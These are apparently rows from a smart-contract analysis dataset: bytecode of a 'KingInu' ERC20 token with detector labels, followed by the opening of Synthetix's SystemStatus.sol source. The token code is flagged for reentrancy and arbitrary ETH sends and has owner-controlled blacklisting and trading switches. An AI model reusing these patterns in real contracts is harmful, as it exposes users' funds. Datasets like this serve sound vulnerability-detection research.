5260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4b696e67496e7500000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6004600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202967cbd50e2a294b6353d82d64102ebc273ed3fd73e03f37558f7fde807aff0164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,032 |
0x696c905F8F8c006cA46e9808fE7e00049507798F
|
/**
*Submitted for verification at Etherscan.io on 2022-03-17
*/
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: SystemStatus.sol
*
* Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/SystemStatus.sol
* Docs: https://docs.synthetix.io/contracts/SystemStatus
*
* Contract Dependencies:
* - ISystemStatus
* - Owned
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2022 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.16;
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.synthetix.io/contracts/source/interfaces/isystemstatus
interface ISystemStatus {
struct Status {
bool canSuspend;
bool canResume;
}
struct Suspension {
bool suspended;
// reason is an integer code,
// 0 => no reason, 1 => upgrading, 2+ => defined by system usage
uint248 reason;
}
// Views
function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume);
function requireSystemActive() external view;
function systemSuspended() external view returns (bool);
function requireIssuanceActive() external view;
function requireExchangeActive() external view;
function requireFuturesActive() external view;
function requireFuturesMarketActive(bytes32 marketKey) external view;
function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function requireSynthActive(bytes32 currencyKey) external view;
function synthSuspended(bytes32 currencyKey) external view returns (bool);
function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function systemSuspension() external view returns (bool suspended, uint248 reason);
function issuanceSuspension() external view returns (bool suspended, uint248 reason);
function exchangeSuspension() external view returns (bool suspended, uint248 reason);
function futuresSuspension() external view returns (bool suspended, uint248 reason);
function synthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function synthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function futuresMarketSuspension(bytes32 marketKey) external view returns (bool suspended, uint248 reason);
function getSynthExchangeSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory exchangeSuspensions, uint256[] memory reasons);
function getSynthSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons);
function getFuturesMarketSuspensions(bytes32[] calldata marketKeys)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons);
// Restricted functions
function suspendIssuance(uint256 reason) external;
function suspendSynth(bytes32 currencyKey, uint256 reason) external;
function suspendFuturesMarket(bytes32 marketKey, uint256 reason) external;
function updateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) external;
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/systemstatus
contract SystemStatus is Owned, ISystemStatus {
mapping(bytes32 => mapping(address => Status)) public accessControl;
uint248 public constant SUSPENSION_REASON_UPGRADE = 1;
bytes32 public constant SECTION_SYSTEM = "System";
bytes32 public constant SECTION_ISSUANCE = "Issuance";
bytes32 public constant SECTION_EXCHANGE = "Exchange";
bytes32 public constant SECTION_FUTURES = "Futures";
bytes32 public constant SECTION_SYNTH_EXCHANGE = "SynthExchange";
bytes32 public constant SECTION_SYNTH = "Synth";
bytes32 public constant CONTRACT_NAME = "SystemStatus";
Suspension public systemSuspension;
Suspension public issuanceSuspension;
Suspension public exchangeSuspension;
Suspension public futuresSuspension;
mapping(bytes32 => Suspension) public synthExchangeSuspension;
mapping(bytes32 => Suspension) public synthSuspension;
mapping(bytes32 => Suspension) public futuresMarketSuspension;
constructor(address _owner) public Owned(_owner) {}
/* ========== VIEWS ========== */
function requireSystemActive() external view {
_internalRequireSystemActive();
}
function systemSuspended() external view returns (bool) {
return systemSuspension.suspended;
}
function requireIssuanceActive() external view {
// Issuance requires the system be active
_internalRequireSystemActive();
// and issuance itself of course
_internalRequireIssuanceActive();
}
function requireExchangeActive() external view {
// Exchanging requires the system be active
_internalRequireSystemActive();
// and exchanging itself of course
_internalRequireExchangeActive();
}
function requireSynthExchangeActive(bytes32 currencyKey) external view {
// Synth exchange and transfer requires the system be active
_internalRequireSystemActive();
_internalRequireSynthExchangeActive(currencyKey);
}
function requireFuturesActive() external view {
_internalRequireSystemActive();
_internalRequireExchangeActive();
_internalRequireFuturesActive();
}
/// @notice marketKey doesn't necessarily correspond to asset key
function requireFuturesMarketActive(bytes32 marketKey) external view {
_internalRequireSystemActive();
_internalRequireExchangeActive(); // exchanging implicitely used
_internalRequireFuturesActive(); // futures global flag
_internalRequireFuturesMarketActive(marketKey); // specific futures market flag
}
